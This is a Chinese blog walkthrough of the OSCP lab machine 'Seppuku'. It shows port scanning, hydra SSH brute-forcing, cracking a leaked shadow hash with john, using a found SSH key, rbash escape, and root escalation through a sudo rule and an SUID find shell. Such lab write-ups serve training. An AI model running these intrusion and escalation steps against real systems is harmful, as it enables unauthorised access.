OSCP系列靶场-Esay-Seppuku保姆级

OSCP系列靶场-Esay-Seppuku

总结

getwebshell : 目录扫描 → 发现密码字典 → 发现用户名seppuku → 发现id_rsa → 利用hyrda爆破用户名用户名seppuku 用发现的密码字典 → 进入内网

提 权 思 路 : 发现隐藏的敏感信息 → 用户samurai的密码 → 登录samurai → 发现sudo提权 → 需要tanto用户下创建文件 → 利用之前发现的id_rsa登录tanto → 创建提权文件 → samurai利用sudo提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.188

  • 启动靶机
    获取目标机器IP → 192.168.178.90

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.178.90

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
7080/tcp open  empowerid
7601/tcp open  unknown
8088/tcp open  radan-http


开放的端口-→21,22,80,139,445,7080,7601,8088
看上去开放的端口挺多 主要还是21、80、445以后其他的http端口

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90

PORT     STATE SERVICE        VERSION                 
21/tcp   open  ftp            vsftpd 3.0.3                       
22/tcp   open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp   open  http           nginx 1.14.2                       139/tcp  open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: 445/tcp  open  V         Samba smbd 4.9.5-Debian (workgroup: 7080/tcp open  ssl/empowerid?
7601/tcp open  http           Apache httpd 2.4.38 ((Debian))
8088/tcp open  http           LiteSpeed httpd

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(失败)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.178.90
Name: anonymous

如果后面没思路的话就来爆破ftp

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 → searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.178.90 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.178.90 -p 22
# 密码尝试
password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.90 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

445-SMB端口的信息收集

445-SMB是否无需密码探测

连接成功则SMB没有开启密码

# 利用-L查看SMB的内容
smbclient -L //192.168.178.90


没找到什么内容

80-HTTP端口的信息收集(待定)

访问 http://192.168.178.90:80 发现需要登录才可以访问

7601-HTTP端口的信息收集

访问 http://192.168.178.90:7601 发现是一张图片

信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.178.90:7601

得到了一个名词Seppuku,如果没思路的话大概率这个就是用户名

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.178.90:7601 -x 302,403


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/ckeditor/端点

一个编辑器的界面,点了没啥

/database/端点

没东西

/secret/端点

有很多内容,下载下来进行查看

敏感文件查看
# 首先下载
wget http://192.168.178.90:7601/secret/[文件]


图片先放一边


获得一个主机名seppuku

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat hostname 
seppuku

得到一个疑似/etc/passwd的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]                          
└─# cat passwd.bak                                               
root:x:0:0:root:/root:/bin/bash        
...
thpot:x:122:65534:Honeypot user,,,:/usr/share/thpot:/dev/null
postfix:x:123:128::/var/spool/postfix:/usr/sbin/nologin      
nm-openvpn:x:124:130:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin             
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin                
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin             
nm-openconnect:x:127:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
rabbit-hole:x:1001:1001:,,,:/home/rabbit-hole:/bin/bash    

得到一个账户名rabbit-hole


得到一个疑似/etc/shadow的备份

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat shadow.bak          
root:!:18327:0:99999:7::: 
daemon:*:17937:0:99999:7::: 
....                                
r @bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::   

得到该用户加密密码$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt


得到一个密码字典password.lst

漏洞利用-getwebshell

john爆破shadom加密密码登录ssh(失败)

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' → pass.hash

┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# john pass.hash     

a1b2c3           (?)     

得到账户rabbit-hole的密码a1b2c3

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh rabbit-hole @192.168.178.90 -p22
password → a1b2c3

hyrda爆破ssh密码

因为我们有一本系统的密码字典,尝试爆破用户seppuku

sudo hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22

爆破出来密码是eeyoree

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh seppuku @192.168.178.90 -p22
password → eeyoree

内网遨游-getshell

进入之后发现是rbash需要进行逃逸

SSH连接受限伪终端逃逸

SSH连接到远程服务器上发现各种命令受限利用-t逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh seppuku @192.168.178.90 -p22 -t "bash --noprofile"
password → eeyoree
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

FLAG1获取

seppuku @seppuku:~$ find / -name local.txt 2→/dev/null
/home/seppuku/local.txt
seppuku @seppuku:~$ cat /home/seppuku/local.txt
3dc090a738a7e01f80f592abe2a9e284

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
seppuku @seppuku:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

seppuku @seppuku:~$ uname -a
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
seppuku @seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
seppuku @seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

   (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/

查阅了一下是建立连接与覆盖 ,没有什么好的绕过思路

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

seppuku @seppuku:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1585 May 13  2020 /etc/passwd

顺手查了一下里面有没有之前读出来的另一个用户,发现没有

/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
seppuku @seppuku:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1253 Aug 31  2020 /etc/shadow
getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
seppuku @seppuku:~$ /usr/sbin/getcap -r / 2→/dev/null
/usr/bin/ping = cap_net_raw+ep
列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破
看到了3个用户,其余两个用户可以尝试制作字典以及弱口令爆破

seppuku @seppuku:~$ ls -al /home
total 20
drwxr-xr-x  3 samurai samurai 4096 Jul  8  2020 samurai
drwxr-xr-x  3 seppuku seppuku 4096 Jul 30 04:16 seppuku
drwxr-xr-x  4 tanto   tanto   4096 Sep  1  2020 tanto
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
seppuku @seppuku:~$ ls -al /home/seppuku
total 36
drwxr-xr-x 3 seppuku seppuku 4096 Jul 30 04:16 .
drwxr-xr-x 5 root    root    4096 May 13  2020 ..
-rw------- 1 seppuku seppuku  338 Jul 30 04:16 .bash_history
-rw-r--r-- 1 seppuku seppuku  220 May 13  2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13  2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13  2020 .gnupg
-rw-r--r-- 1 seppuku seppuku   33 Jul 30 03:43 local.txt
-rw-r--r-- 1 root    root      20 May 13  2020 .passwd
-rw-r--r-- 1 seppuku seppuku  807 May 13  2020 .profile

看到了一个.passwd的文件进行查看

seppuku @seppuku:~$ cat .passwd
12345685213456! @! @A#CTL{n}```#CTL{n}得到了一个密码进行尝试#CTL{n}```shell#CTL{n}# root提权(失败)
seppuku @seppuku:~$ su
Password: 
su: Authentication failure
# samurai登录成功
seppuku @seppuku:~$ su samurai
Password: 
sudo -l权限收集
samurai @seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

通过这条命令发现可以sudo执行/home/tanto/.cgi_bin/bin/tmp/*
由于/tmp利用ln/root绑了,所以主要是在tanto用户下创建

发现这样用户也是rbash受限,并且我们还需要知道tanto用户的密码才行

转机

tanto登录


通过目录扫描发现新的端点


下载之后获得了ssh的密钥


尝试base64解码不清楚归属


推测是tanto

sudo chmod 600 private
sudo ssh -i private tanto @192.168.178.90 -p22

成功登录

rbash逃逸

发现受限shell需要进行逃逸

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh -i private tanto @192.168.178.90 -p22 -t "bash --noprofile"
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

发现没有对应目录,创建新的目录

权限提升

suid-find提权

写入切换bash的命令写入到bin文件中

echo '#!/bin/sh
chmod +s /usr/bin/find' → bin

执行提示命令没发现,samurai可能也要绕过rbash

# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh samurai @192.168.178.90 -p22 -t "bash --noprofile"
password → 12345685213456! @! @A#CTL{n}```#CTL{n}最后发现是建错文件夹,命令敲错了
```shell
# 利用suid的find提权
samurai @seppuku:~$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai @seppuku:~$ find . -exec /bin/bash -p \; -quit
bash-5.0# id
uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)
bash-5.0# 

提权成功

FLAG2获取

bash-5.0# cat /root/proof.txt
4a24681381de4d623801b1e8cb243a64

完结撒花~

总结

在目录扫描的时候没扫全,导致后续不是很连贯,接下来在目录扫描的时候可以用两个扫描器进行扫描对比,是否会存在遗漏

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值